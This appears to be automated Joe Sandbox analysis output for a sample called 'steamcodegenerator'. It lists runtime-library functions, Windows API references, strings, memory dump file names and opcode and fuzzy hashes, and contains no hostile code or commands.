FlsSetValue.KERNEL32(?,?,00001E36F50DF55B,00007FF663554851,?,?,?,?,00007FF66355F7CA,?,?,00000000,00007FF663564803,?,?,?), ref: 00007FF66355A482
FlsSetValue.KERNEL32(?,?,00001E36F50DF55B,00007FF663554851,?,?,?,?,00007FF66355F7CA,?,?,00000000,00007FF663564803,?,?,?), ref: 00007FF66355A493
FlsSetValue.KERNEL32(?,?,00001E36F50DF55B,00007FF663554851,?,?,?,?,00007FF66355F7CA,?,?,00000000,00007FF663564803,?,?,?), ref: 00007FF66355A4A4
SetLastError.KERNEL32(?,?,00001E36F50DF55B,00007FF663554851,?,?,?,?,00007FF66355F7CA,?,?,00000000,00007FF663564803,?,?,?), ref: 00007FF66355A4BF

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: d929618738324d574e70838d51b97b836a85079287c8504ecfb6e89faa6b9b66
Instruction ID: 2b5b6a09b41ac5b63a7499fefe67762e3c8f3207319f17da9e6db00f9426d73a
Opcode Fuzzy Hash: d929618738324d574e70838d51b97b836a85079287c8504ecfb6e89faa6b9b66
Instruction Fuzzy Hash: F7114A30E1C646C1FA55A7B6A55B03922B2AF887B0F044634E83EAF7D6DE6CB4018311

Function 00007FF663541AF0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF663541B5A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF663541BA2
_Getctype.LIBCPMT ref: 00007FF663541BBA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF663541C4A

Strings

bad locale name, xrefs: 00007FF663541C6D

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: std::_$Lockit$GetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2967684691-1405518554
Opcode ID: fd94d111b3a5a71e05e2fbcb881251465dc0f2d8c786bed247c494bd29d02914
Instruction ID: 3c511013d291d06680aa384ff3f3810d02527c4653a1feacda172ae42e4f16dd
Opcode Fuzzy Hash: fd94d111b3a5a71e05e2fbcb881251465dc0f2d8c786bed247c494bd29d02914
Instruction Fuzzy Hash: 5E411722B09B41C9EB18DFA0D4922FC3374AF54748F048435DE4EBBB56EE38E6669344

Function 00007FF663556134 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF663556159
GetProcAddress.KERNEL32 ref: 00007FF66355616F
FreeLibrary.KERNEL32 ref: 00007FF663556196

Strings

mscoree.dll, xrefs: 00007FF663556150
CorExitProcess, xrefs: 00007FF663556168

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 559c3951bd7f50195cdf89802e038081bfbf684ad2b4d9a1a4895f21a508b9c3
Instruction ID: 2cfcc7558cee5039fb7df93d22ef8aa4d8f98fc509c91ad98d8997341a4b09ef
Opcode Fuzzy Hash: 559c3951bd7f50195cdf89802e038081bfbf684ad2b4d9a1a4895f21a508b9c3
Instruction Fuzzy Hash: CAF04F71B09B86D2FA149B26A8563796330EF867A1F541635D5AE9B3F4CF3CE0458700

Function 00007FF66354B230 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FF66354B353
__AdjustPointer.LIBCMT ref: 00007FF66354B39E

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: fe0cf1a3f0e36931d8326c1fa5e43f68e623f8e1a1bba44f29af81dcaff10926
Instruction ID: c8d1adfe47460b3faea857520ce7878a3fa0e9429627573a3ba5850924cca2de
Opcode Fuzzy Hash: fe0cf1a3f0e36931d8326c1fa5e43f68e623f8e1a1bba44f29af81dcaff10926
Instruction Fuzzy Hash: 65B1B231A0E642C1EE6DAF16954227D63B4EF44B84F098435DE8DAF79BDE3CE4628340

Function 00007FF663541440 Relevance: 7.7, APIs: 5, Instructions: 205COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF663541658
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6635416D1
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6635416D7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6635416E3
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF66354170D

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task__std_exception_copy__std_exception_destroy
String ID:
API String ID: 1087005451-0
Opcode ID: e056fb752b00353b83d650d62f1f17403a3bacc8c07260b3d954efaf1a3d08a7
Instruction ID: c0622adb072e784821538721736d99ecd19cd323e621f45c6bededce172fd878
Opcode Fuzzy Hash: e056fb752b00353b83d650d62f1f17403a3bacc8c07260b3d954efaf1a3d08a7
Instruction Fuzzy Hash: 5D81C622F19B41C9FB14DBA5D4023EC3371AB557A8F448235DE5D6BB96EE38A1A1C340

Function 00007FF66355A9A4 Relevance: 7.7, APIs: 5, Instructions: 196COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF66355A9E3
_set_statfp.LIBCMT ref: 00007FF66355AA01
_set_statfp.LIBCMT ref: 00007FF66355AA2A
_set_statfp.LIBCMT ref: 00007FF66355AC66

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: c857c3327227c68747334663d00ca9331fa9479a74f52c20cdb4b2826f66a1e0
Instruction ID: 1a1d523273196000038be5a7f44f5ec8ac7e2ddc3fa7d8572b6dfbd5d9771c1e
Opcode Fuzzy Hash: c857c3327227c68747334663d00ca9331fa9479a74f52c20cdb4b2826f66a1e0
Instruction Fuzzy Hash: 1581B43291CA86C6F7338A39A45227A66B0AF55374F044331ED5EBB7A4DF3CB5818750

Function 00007FF663568D74 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF663568D9C
_set_statfp.LIBCMT ref: 00007FF663568DB7
_set_statfp.LIBCMT ref: 00007FF663568DD3
_set_statfp.LIBCMT ref: 00007FF663568E0F

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 160c9c08bfc40915d9b2f250b4fe9603e2aa0f10eb61f97881b22bd1a26b2934
Instruction ID: 4fe87fbfaf37129624e574888726dc6f73a7320ea5e3fb9df177d06fe5c8aa37
Opcode Fuzzy Hash: 160c9c08bfc40915d9b2f250b4fe9603e2aa0f10eb61f97881b22bd1a26b2934
Instruction Fuzzy Hash: A3118E33E18A1282FA94112AE4473791170AF6B374E4A0230E56EFF3F7CE6CB8414216

Function 00007FF66355A4D8 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF663551CE7,?,?,00000000,00007FF663551F82,?,?,?,?,?,00007FF663551F0E), ref: 00007FF66355A4F7
FlsSetValue.KERNEL32(?,?,?,00007FF663551CE7,?,?,00000000,00007FF663551F82,?,?,?,?,?,00007FF663551F0E), ref: 00007FF66355A516
FlsSetValue.KERNEL32(?,?,?,00007FF663551CE7,?,?,00000000,00007FF663551F82,?,?,?,?,?,00007FF663551F0E), ref: 00007FF66355A53E
FlsSetValue.KERNEL32(?,?,?,00007FF663551CE7,?,?,00000000,00007FF663551F82,?,?,?,?,?,00007FF663551F0E), ref: 00007FF66355A54F
FlsSetValue.KERNEL32(?,?,?,00007FF663551CE7,?,?,00000000,00007FF663551F82,?,?,?,?,?,00007FF663551F0E), ref: 00007FF66355A560

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f3e7b6d242c1910f2b5591a4fcee400abd11717328fc635c98f7e7c632fcba31
Instruction ID: 0b5610c29fbf9df3f8543b6d12fce87a31fdec55711e20d9b79223eb8d90be04
Opcode Fuzzy Hash: f3e7b6d242c1910f2b5591a4fcee400abd11717328fc635c98f7e7c632fcba31
Instruction Fuzzy Hash: 89113A30F18242C1FE59AB36A55757922769F847B0F544234E96EAF7D6DE2CF4028311

Function 00007FF66355A36C Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF66355A37D
FlsSetValue.KERNEL32 ref: 00007FF66355A39C
FlsSetValue.KERNEL32 ref: 00007FF66355A3C4
FlsSetValue.KERNEL32 ref: 00007FF66355A3D5
FlsSetValue.KERNEL32 ref: 00007FF66355A3E6

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: bd49efac836a00a7d6e6040a8177aeef1eacb3bc0844a01248e3808e30053e11
Instruction ID: 2bebc559f27e680f4b2ea2d244138dacf30febf3ecd6d066f1e67ff871a42fff
Opcode Fuzzy Hash: bd49efac836a00a7d6e6040a8177aeef1eacb3bc0844a01248e3808e30053e11
Instruction Fuzzy Hash: 18114530E19206C6F96AA6B6441707E26729F44374F584734DC3EEF3D2EE2CB4428321

Function 00007FF66354C5A4 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF66354C614
_CallSETranslator.LIBVCRUNTIME ref: 00007FF66354C65F

Strings

MOC, xrefs: 00007FF66354C628
RCC, xrefs: 00007FF66354C630

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 28528c47c0e47c61ea15e7d98c52d1fdbb12d4762e0c8dcc68e2cea472630b6c
Instruction ID: a57b7baca7f60bf6660a7e261bc5e2401008e9a8f38c9c253150123810d928c1
Opcode Fuzzy Hash: 28528c47c0e47c61ea15e7d98c52d1fdbb12d4762e0c8dcc68e2cea472630b6c
Instruction Fuzzy Hash: 8491A073A08B81DAE754DB64E8412AD7BB0FB45788F10413AEA8DAB756DF38D165C700

Function 00007FF66354ABF0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF66354AC1B
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF66354ACB2
RtlUnwindEx.KERNEL32 ref: 00007FF66354AD0C

Strings

csm, xrefs: 00007FF66354AC99

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: efb476289a48de47cc6c133713b57c80aca7b2cc6583d7a462300b28a4b57851
Instruction ID: 09853f627164a6ee7866aa8b2c02fcbfbafbe8f941c5bae3ee81eaff1066ac75
Opcode Fuzzy Hash: efb476289a48de47cc6c133713b57c80aca7b2cc6583d7a462300b28a4b57851
Instruction Fuzzy Hash: 8051C232B19602CADB98CB15E445A7C73B5EB44B89F128131EA4A9B78ADF3DE851C700

Function 00007FF66354C334 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF66354C393
_CallSETranslator.LIBVCRUNTIME ref: 00007FF66354C3DF

Strings

MOC, xrefs: 00007FF66354C3A7
RCC, xrefs: 00007FF66354C3AF

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 8ff30341cfee721db4765e122103f5437cfdd667779e7ccbcb0684ed890b6ecf
Instruction ID: 4b19d21e7f41261b900a46ccf15df182fb74a1e6f0f93936edbc233fcf859cad
Opcode Fuzzy Hash: 8ff30341cfee721db4765e122103f5437cfdd667779e7ccbcb0684ed890b6ecf
Instruction Fuzzy Hash: D461A032908B85D1D7649B15E4413AEB7B0FB85B94F044235EB9CABB5ADF7CD1A4CB00

Function 00007FF66354CB24 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF66354CB4C
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF66354CC34

Strings

csm, xrefs: 00007FF66354CC86
csm, xrefs: 00007FF66354CB6E

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: d1a409f6a23794f2edf1c37610bd8a1d13082c0ad3cb85bcd98522ffa63453bc
Instruction ID: 8fda3a03c6aa7736f4f4861e210acfece2663d65530cb064a75b322df3b3c55c
Opcode Fuzzy Hash: d1a409f6a23794f2edf1c37610bd8a1d13082c0ad3cb85bcd98522ffa63453bc
Instruction Fuzzy Hash: 96519072D08282D6EB788F25954636877B0EB84B94F148135DA9DABBDACF3CE474C700

Function 00007FF663545D50 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF663545DBA
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF663545E02
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF663545E92

Strings

bad locale name, xrefs: 00007FF663545EB5

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 00736578c6eb0824a3dbfeb00187506f444d3a2b9fb46ce52c71a5bb71dfef5f
Instruction ID: a37206dc75e84f3db6ea98d1b027782b7aff179f3829a377d20b8f85267f15c6
Opcode Fuzzy Hash: 00736578c6eb0824a3dbfeb00187506f444d3a2b9fb46ce52c71a5bb71dfef5f
Instruction Fuzzy Hash: 2341E932B0AA41C9EF18DFA1D4922FC3374AF44758F084875DA4DABB56DE38E526D344

Function 00007FF66355CA9C Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF66355CB1B
WriteFile.KERNEL32 ref: 00007FF66355CDE3
WriteFile.KERNEL32 ref: 00007FF66355CE29
GetLastError.KERNEL32 ref: 00007FF66355CEDF

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 5c4401886065423c6ff0b2da39cbcb580a1fa276b42842d1cd99b8de723316d1
Instruction ID: 015bffab2a585b077191769a75278efd8ca86894d6b1f0b7819618739d56cd32
Opcode Fuzzy Hash: 5c4401886065423c6ff0b2da39cbcb580a1fa276b42842d1cd99b8de723316d1
Instruction Fuzzy Hash: 61D1BD32F08A81C9E711CB65D4412AC37B1EB55BA8B548236DE5EEBB99DF38E506C700

Function 00007FF66355D3C4 Relevance: 6.2, APIs: 4, Instructions: 219COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF66355D3AF), ref: 00007FF66355D4E0
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF66355D3AF), ref: 00007FF66355D56B

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: f4c598b794b2957f8221025396d44ea9ca5fd2ca3015efc81122515608aa3158
Instruction ID: 02d4279841fa1fa9e5b9901f44237508d674d011d23f8885f3c37f67c376d417
Opcode Fuzzy Hash: f4c598b794b2957f8221025396d44ea9ca5fd2ca3015efc81122515608aa3158
Instruction Fuzzy Hash: 4A918D73A08652C5FB619F6594822BD2BF0AF45BA8F145139DE0EABB95DE38F442C700

Function 00007FF66354CD5C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF66354CD86

Strings

csm, xrefs: 00007FF66354CDAB
csm, xrefs: 00007FF66354CF1A

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 932fa6e829df123efbcca097b2357dada1d6fbdb0e4c3a71699927478b386a7c
Instruction ID: 51c0734d117669ff82318b2449df55344b0d587a4b3e83229577a2c4b2152235
Opcode Fuzzy Hash: 932fa6e829df123efbcca097b2357dada1d6fbdb0e4c3a71699927478b386a7c
Instruction Fuzzy Hash: F171C372A08682E6DB688F25D44177D7BB0FB45B88F048136DA4DABB8ACF3CD465C740

Function 00007FF66354D3F4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF66354D49E
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF66354D4CA

Strings

csm, xrefs: 00007FF66354D5CA

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 6163656b69aba43e6f85f19a250a019f0052d4614d76d8c745b3035227ed82da
Instruction ID: b30b0f92e2a3d8c4867ff28ecaa991e9b6649e213845cab004e20f793a5f9de9
Opcode Fuzzy Hash: 6163656b69aba43e6f85f19a250a019f0052d4614d76d8c745b3035227ed82da
Instruction Fuzzy Hash: EB514A72A19781C6DA64EB15E04226E77B4FB88B90F101534EB8D9BB56DF3CE471CB00

Function 00007FF66355D134 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF66355D24B
GetLastError.KERNEL32 ref: 00007FF66355D26D

Strings

U, xrefs: 00007FF66355D1F7

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
